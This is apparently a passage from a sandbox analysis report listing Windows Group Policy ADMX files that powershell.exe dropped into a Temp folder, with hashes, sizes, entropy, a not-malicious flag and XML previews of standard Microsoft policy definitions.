SSDEEP:	48:3geDwa8gmDpfAiofHKnKyNQ5hNRk9hdmQRcHwhdrQRdwhd/Rlwhq:QeDzmDp/ovKnKN5LRQdmQRndrQRed/R/
MD5:	2CDAC093621F00D645202EEB95FDF2C4
SHA1:	F80E4E941C78FC9E4CC0D7BBE0A734E56F2B608A
SHA-256:	83726689637BD44C21812AD9021BBAD19B0A85A09F07063B2B852C8CA3A5D9DB
SHA-512:	2D052FCC7DFD827C9BC172990A2106C307D9EF2838A0F2AA0C5FC4A02A52833CCF3096B4294FBAA91A3A3F84DAC9FEF6033D67E79E3F461B669CED06A1C15810
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="helppane" namespace="Microsoft.Policies.HelpAndSupport" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Assistance" displayName="$(string.Assistance)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ActiveHelp" class="Machine" displayName="$(string.ActiveHelp)" explainText="$(string.ActiveHelpPolicy_Explain)" key="Software\Policies\Microsoft\Assistance\Client\1.0" valueName="NoActiveHelp">.. <parentCategory ref="Assistance" />.. <supportedOn ref="windows:SUPPORTED_W

C:\Users\user\AppData\Local\Temp\file\Resource\ICM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	33946
Entropy (8bit):	4.861916976396124
Encrypted:	false
SSDEEP:	384:6x7hW/wLu8vjcUpvJQpG8WkjuLJvANlouQJvx7hW/ZD0TcyH8lzIuwyaavjvJQFf:lIWXJPMTqCx
MD5:	49E06CA0437B3304481663C146BCA142
SHA1:	ACC852AF5940B13BC2902060DC7BB2DC484B483C
SHA-256:	0341880DF2C92E784F62747B314C100709728C6927D059B2318A15FC45155164
SHA-512:	72ACC8887A204C14CFBCE8B409B317532A62BC90C152FDCECF02519BF5FEFA52EC19A78CAFE887AE85BFB47935F53592C4F8DA3E3F34B1E30A516DFF99361BD6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="icm" namespace="Microsoft.Policies.InternetCommunicationManagement" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="InternetManagement_RestrictCommunication_1" class="User" displayName="$(string.InternetManagement_RestrictCommunication)" explainText="$(string.InternetManagement_RestrictCommunication_Help)" key="Software\Policies\Microsoft\InternetManagement" valueName="RestrictCommunication">.. <parentCategory ref="windows:InternetManagement" />.. <supportedOn ref="windows:SUPPORTED_WindowsXPSP2" />..

C:\Users\user\AppData\Local\Temp\file\Resource\IIS.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	5.184703384323084
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtr6f50s6fE3+dK9lKUcpKjcpPor6GV2c+2F+2hJJo:3geDw08gmD7f5ofHKnKUQ52bz+2xq
MD5:	ED37C1AE3479B6581E2827CBBD590E00
SHA1:	78C96109DB5E132FBB4714580C93F1839FE2DA73
SHA-256:	E8ED531958372AF8532DF1AF384C5EA6EF6725AA25E140A2452C9DA9A27E9CC6
SHA-512:	BB6FBBCB4B96F2A44DD9CD3012324CA4E041D1DE8710E29FC7960ACE8B9FF88BE089FB573090A22D8FB9BF5845A3A72932279D2536A6D85F0899CAFA38656016
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="iis" namespace="Microsoft.Policies.IIS" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="IIS" displayName="$(string.IIS)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PreventIISInstall" class="Machine" displayName="$(string.PreventIISInstall)" explainText="$(string.PreventIISInstall_Help)" key="Software\Policies\Microsoft\Windows NT\IIS" valueName="PreventIISInstall">.. <parentCategory ref="IIS" />.. <supportedOn ref="w

C:\Users\user\AppData\Local\Temp\file\Resource\InkWatson.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.13205915146749
Encrypted:	false
SSDEEP:	48:3geDw08gmDkfoofT5a8q3UhqqCwhdao+q3UhqqCwhq:QeD/mDkwo75Ksv7d/sv7q
MD5:	52EA2A438C50FECA9C6EBB75FD0EF7E4
SHA1:	E5702005EC16A2E40BC8343E49F3A39E5DD59285
SHA-256:	0FE2CB344CDCD5D8E8079566C4F78AC562DC45AE89F451226BBF4BCAF48D1351
SHA-512:	BDB4FCE21FF6B62A3998DC85E5857780207DF3DFB8819E733969D8287571ED06FCA1A3DADE0658785F60EB93F5FFED023F241263A666375D07D7C4C0E7069619
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="inkwatson" namespace="Microsoft.Policies.InkWatson" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="PreventHandwritingErrorReports_1" class="User" displayName="$(string.PreventHandwritingErrorReports)" explainText="$(string.PreventHandwritingErrorReports_Explain)" key="Software\Policies\Microsoft\Windows\HandwritingErrorReports" valueName="PreventHandwritingErrorReports">.. <parentCategory ref="windows:InternetManagement_Settings" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <enable

C:\Users\user\AppData\Local\Temp\file\Resource\Kerberos.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (316), with CRLF line terminators
Category:	dropped
Size (bytes):	8592
Entropy (8bit):	5.046500188080839
Encrypted:	false
SSDEEP:	192:vYM2uQE6vU/KiFSwuPaNey1aJgrhoM6vdcqbq3mEL:ZqE6AKiFSwuPaNey1aJgrhoMEdcqbq3H
MD5:	EE5C3A4DC8F35F92E347C3E9092ADC76
SHA1:	FC54836F855366704D70F15D72E266A6E7B2517A
SHA-256:	20494174BF968DD6A5A933D18FEBB3FAF10E439AE39AFCD7685B4C1ECCCF5260
SHA-512:	45D4B22EC181A35DE8BBB430EB6C88C870816646B88A54A56A1E468B63EFEAFDD43BE7B02A092F95F46B41F1F9E029F67E2304E4B79C0F52408076A1939A5777
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="kerberos" namespace="Microsoft.Policies.Kerberos" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="kerberos" displayName="$(string.kerberos)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="HostToRealm" class="Machine" displayName="$(string.hosttorealm)" explainText="$(string.hosttorealm_explain)" presentation="$(presentation.hosttorealm)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos" valueName="domain_realm_Enabled"

C:\Users\user\AppData\Local\Temp\file\Resource\LanmanServer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3027
Entropy (8bit):	4.774192330379505
Encrypted:	false
SSDEEP:	48:3geDw08gmDufcofHKnK8p5CCTALz0DUiJw9y3S/16TAL4/eUigwG7uC:QeD/mDuEovKnKs5z0Lz0Dtw9y3S/1602
MD5:	472D255699A7F5E1645304C64CAAD168
SHA1:	751531EF9921620A6E3291E8B0939792D390AC50
SHA-256:	93946E2AB6E44530DFD6FBA002E4F9CC2163BA628DC3404883C76C2E5E88E3DF
SHA-512:	478A9B8B17046FEF2645D2036B717C2C87208ACCE922DFD111AB94A3DC64A332F387E7A29AC048F4431BD07D53B12A53FDA2D6359CB96E53B336AD9B2702F862
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="LanmanServer" namespace="Microsoft.Policies.LanmanServer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Cat_LanmanServer" displayName="$(string.Cat_LanmanServer)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_HashPublication" .. class="Machine" .. displayName="$(string.Pol_HashPublication)" .. explainText="$(string.Pol_HashPublication_Help)" .. presentation="$(presentation.Pol_HashPublicati

C:\Users\user\AppData\Local\Temp\file\Resource\LeakDiagnostic.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2205
Entropy (8bit):	5.239517247361387
Encrypted:	false
SSDEEP:	48:3geDw08gmDcfGYofHKnKa55+KhhRx4DxLx4U5xM:QeD/mDcuYovKnK25fpx4DxLx4U5xM
MD5:	2DE3721F7B9126B6E9D8904714E1C3D7
SHA1:	703EB4F9FAC9D6E899101254C3A487E2BC94A6F7
SHA-256:	D675FD129F304C7C3220AC3476E529B81C703E2954A5C9FB67569DF34B3692F2
SHA-512:	794387DFCCC27EFACF17233361C20008BB7D94B58B7642CD796E23ACD8A2880AAD60E445DFB6892D199B2D8A750BBC191FE077B2E8A700E831896CD84537AAFA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="leakdiagnostic" namespace="Microsoft.Policies.LeakDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" key="SOFTWARE\Policies\Microsoft\Windows\WDI\{eb73b633-3f4e-

C:\Users\user\AppData\Local\Temp\file\Resource\LinkLayerTopologyDiscovery.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3681
Entropy (8bit):	4.8903762757140425
Encrypted:	false
SSDEEP:	96:QeD/mDi0ovKnKm5CmmGwRE+bc+Oa/0+O1EmjGw+n+yt+bag0+OC:vYhRvqR/bnOa/vOB9++yIbagvOC
MD5:	730DC36EC0FE1BDE4DCB435CE2FD99A0
SHA1:	3C85A86A93ED46292A9906ED4BAB65C8C13BBC79
SHA-256:	7D88B9D41D560646B0F5915FCF13729095530F09A01A045F55E900013F8856C0
SHA-512:	303BB2C54926275E5D7311A14DB96CACC836F0FBDBDF7F584BFB798B5880EF9F0C2F0791B97D5CD33FA1255B9710A10E66A436236E888A2E5D76E52257178549
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="linklayertopologydiscovery" namespace="Microsoft.Policies.LinkLayerTopology" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="LLTD_Category" displayName="$(string.LLTD_Category)" explainText="$(string.LLTD_Category_Help)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="LLTD_EnableLLTDIO" class="Machine" displayName="$(string.LLTD_EnableLLTDIO)" explainText="$(string.LLTD_EnableLLTDIO_Help)" presentation="$(presentation.LLTD_EnableLLTDIO)" key

C:\Users\user\AppData\Local\Temp\file\Resource\LocationProviderAdm.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	5.099086132926387
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtP/H6fmr2S0s6fE1g6fc+dK9lKUr2sr2xCBUpKjcpYr2bm:3geDw08gmDo/afmqSof+VfdKnKUqsqE/
MD5:	CD5E00F039870FD659346B0300ED0F58
SHA1:	1B9DF4BABDB2FE8D6D7E738777C7DBD9567E7A64
SHA-256:	152B6CDF154F1E0E55684E0C9EDCCF95C7CEBCC3F257F428B46D52DE3510202D
SHA-512:	E611D1262601932F47485C68D33D8D8517F3444B65F198AC7037368E06E5C8E624B13A193FB95B0B1ACE5A6E077685AAD246D0A108D6B932C2D435423A7FA84F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowslocationprovider" namespace="Microsoft.Policies.Sensors.WindowsLocationProvider" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="sensors" namespace="Microsoft.Policies.Sensors" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsLocationProvider" displayName="$(string.WindowsLocationProvider)">.. <parentCategory ref="sensors:LocationAndSensors" />.. </category>.. </categories>.. <policies>.. <policy name="DisableWindowsLocationProvider_1" class="Machine" displayName="$(string.DisableWindowsLocationProvider)" e

C:\Users\user\AppData\Local\Temp\file\Resource\Logon.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	9810
Entropy (8bit):	5.121980292126833
Encrypted:	false
SSDEEP:	192:vY50WoK8Ui8C7IEh3eVrjHa60btIATnvmp:WoK8Ui8C7IEh3eVjHa60btIsvmp
MD5:	C75838C684AB96E002CACAFBC0CDFACB
SHA1:	1D424351F48391C1B02E4AE03890173AE6146A40
SHA-256:	0FD37894B19356C9160CBB33F802F9B9E3CC53154290D671BC31D9FDC72C2B36
SHA-512:	FF7DED3A2FDFB79CEE90D328D4A859D3C82AF9E6FD0533A1528F55C51B288827EB97C9230133D1F70FE4536B6FCC644B75551A3122C840B6B68965BEA04BD1DB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="logon" namespace="Microsoft.Policies.WindowsLogon" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Logon" displayName="$(string.Logon)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DisableExplorerRunLegacy_1" class="User" displayName="$(string.DisableExplorerRunLegacy)" explainText="$(string.DisableExplorerRunLegacy_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="DisableCurrentUserRun">.. <parentCat

C:\Users\user\AppData\Local\Temp\file\Resource\MMC.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3580
Entropy (8bit):	5.263599571951233
Encrypted:	false
SSDEEP:	96:QeD/mDj8xovKnKhbKIKuM52ETud0DEbd4aaNUXTNpKpTa:vYIGVMHz4lfjq+
MD5:	2998B43ABF5097CE44EA8D328D13235A
SHA1:	DF26371580CE1EDBBB66E7B94ED4C92A9968492E
SHA-256:	054A652638CA7A6920743F22155656FA25ED49B4DBCCE29EEE29A4764143AFFE
SHA-512:	8DD42526C3817AC0A991097A3F19DC35391212425AC202BA1B96013951468EA22BA3A539D90B24A6CCB6F8F3045915777897582765B0FB501176E33EAAC2B391
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mmc" namespace="Microsoft.Policies.ManagementConsole" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MMC" displayName="$(string.MMC)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="MMC_RESTRICT" displayName="$(string.MMC_RESTRICT)">.. <parentCategory ref="MMC" />.. </category>.. <category name="MMC_ExtensionSnapins" displayName="$(string.MMC_ExtensionSnapins)">.. <parentCategory ref="MMC_RESTRICT" />.. </category>.. </categories>.. <poli

C:\Users\user\AppData\Local\Temp\file\Resource\MMCSnapIns2.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6994
Entropy (8bit):	5.309600354101604
Encrypted:	false
SSDEEP:	96:QeD/mDRaBoG5a8F5iPlTGNEJEHGN0mWbNu94lbVIrsbN6PPVWbN6JK+qlbPgE6/J:vYwV0PFoWrKYgEteS/a0tYjkYw
MD5:	CFF77D02B53E4F1E29B3A0369CD44AAA
SHA1:	3502698593B7E4025DD3441CF9E343E073501213
SHA-256:	92D2625B30BAFAC586B14D7207B990E28ABEEB3B53232F5D8B78E6F48989B1F6
SHA-512:	033761AE53E6139ED4409A02FA6458C5FC7225D17D08440F2EB4F78F8E0D9D24400C3437EFE40745846DA34ED0DD7E9AD96160DB808E5E5D4712521F3AD19CA8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mmcsnapins2" namespace="Microsoft.Policies.MMCSnapIns2" />.. <using prefix="mmcsnapins" namespace="Microsoft.Policies.MMCSnapIns" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="mmc" namespace="Microsoft.Policies.ManagementConsole" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="MMC_StarterGPOEditorSnapIn" class="User" displayName="$(string.MMC_StarterGPOEditorSnapIn)" explainText="$(string.MMC_Restrict_Explain)" key="Software\Policies\Microsoft\MMC\{9FE24B92-C23D-4

C:\Users\user\AppData\Local\Temp\file\Resource\MMCSnapins.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	56928
Entropy (8bit):	5.305558932428126
Encrypted:	false
SSDEEP:	384:EEqweBG7m9GzFvtcUG4ELho5dqqPHnVzzzIsDyWqgYfZWmg83xxOTJExof6IMxRK:/Bz1KS8HIT
MD5:	263179895B280A7B97F57AEC4D86E045
SHA1:	336CEBFB4E953E83FA1BBBB262F026A905C5D3B6
SHA-256:	778A004255B3EB9B629EF3C49237AA87728699F8BF552E0A7C193FE4AE69EA0D
SHA-512:	CE92349B680A89CA890CB488059E4FCFD91F4CD8B4EFF851A9A9130467EA9E6446439E9CFF76715968100C89914C3F84EC6C7C559B40588034106841965AB75A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mmcsnapins" namespace="Microsoft.Policies.MMCSnapIns" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="mmc" namespace="Microsoft.Policies.ManagementConsole" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MMC_GroupPolicy" displayName="$(string.MMC_GroupPolicy)">.. <parentCategory ref="mmc:MMC_RESTRICT" />.. </category>.. <category name="MMC_GroupPolicy_GPSnapin" displayName="$(string.MMC_GroupPolicy_GPSnapin)" explainText="$(string.MMC_GroupPolicy_GPSnapin_Help)">.. <parentCategory ref="MMC_GroupPolicy" />.. </cate

C:\Users\user\AppData\Local\Temp\file\Resource\MSDT.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	3626
Entropy (8bit):	5.186955295932739
Encrypted:	false
SSDEEP:	96:QeD/mDIiovKnK25fcO4DOLO4UjvOIGwXyqie2ie2ue2G7N/q:vYrX5fqq4XyZe2ie2ue2qNS
MD5:	46EB7F14EF95310360AEAC6B34CB8E24
SHA1:	F9FCD3AEFDABB588EF3447086AB9FF4E4D2589A3
SHA-256:	7C9DBC6A77B95D3502AA830693F1CF4A62B335FA8DBBCEEC6859F271386B81B7
SHA-512:	82C53CED021F75884D025F6A0A2B68DCC657398CABCF67DC728B0ECBB4B4F36D531B29E1C13FB83D48E81258A1356B4317AA57BED37C96A03E8CA4273855CA4C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="MSDT" namespace="Microsoft.Policies.MSDT" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" key="SOFTWARE\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E

C:\Users\user\AppData\Local\Temp\file\Resource\MSI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (315), with CRLF line terminators
Category:	dropped
Size (bytes):	17256
Entropy (8bit):	5.037880055100683
Encrypted:	false
SSDEEP:	384:lS+/A0TqkGr7PYUHJtOgJTzoOJ6UvsTmn/dAiWzScJDhsnAmvIdRSizOTxQ1:hjO9rLzJtrJfnV11NI3faS
MD5:	DF26B5622A5B6C623299E1311DDF0EB3
SHA1:	0324713A3BE65EE72697FEE61A5913FA4ADB52C4
SHA-256:	EC4C9ACFCC00DD68BB42BF9A2837BDD35A30B18B0687380EB71B15139777316E
SHA-512:	AD00284AFA1D02F7F66F789C5077C2F1A49FABCC20F340AA98FEF38BBFC9B7DDBBF5DCBBA4FABFB73396AB06D30182E45EF0137ACE5A65860C254B790E50A31E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="msi" namespace="Microsoft.Policies.MSI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. .. <supportedOn>.. <definitions>.. Windows Installer v4.5-->.. <definition name="SUPPORTED_MSI45" displayName="$(string.SUPPORTED_MSI45)">.. <or>.. <reference ref="products:WindowsInstaller45"/>.. </or>.. </definition>.... Windows Installer v4.0-->.. <definition name="SUPPORTED_MSI40" displayName="$(strin

C:\Users\user\AppData\Local\Temp\file\Resource\MediaCenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	5.081003259179552
Encrypted:	false
SSDEEP:	48:3geDw08gmDx7ffofHKnKcQ5Yzjwhd7rzjwhq:QeD/mDx7HovKnKJ5Yzod3zoq
MD5:	7CBF46163709289592957E51CCA78CF9
SHA1:	ABE2538BAEFDE78674CBA80E45E61026D1D4B7D7
SHA-256:	CECCC6D124757E0AFD9BDBF63C71C7F5FF23DFD0130E52AE97A9B87F097C3644
SHA-512:	70AC096C0C484DC72C486CDBEC9EAE7D339D90AEAD007C0AB9762250CF306A039C86DCB66E2EB3106BF36172B663AA50EE507BE5746D2D052CDD001731A1DEE4
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mediacenter" namespace="Microsoft.Policies.MediaCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MediaCenter" displayName="$(string.MediaCenter)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="MediaCenter_Disable_1" class="User" displayName="$(string.MediaCenter_Disable)" explainText="$(string.MediaCenter_Disable_Help)" key="Software\Policies\Microsoft\WindowsMediaCenter" valueName="MediaCenter">.. <parentCategory ref=

C:\Users\user\AppData\Local\Temp\file\Resource\MobilePCMobilityCenter.admx

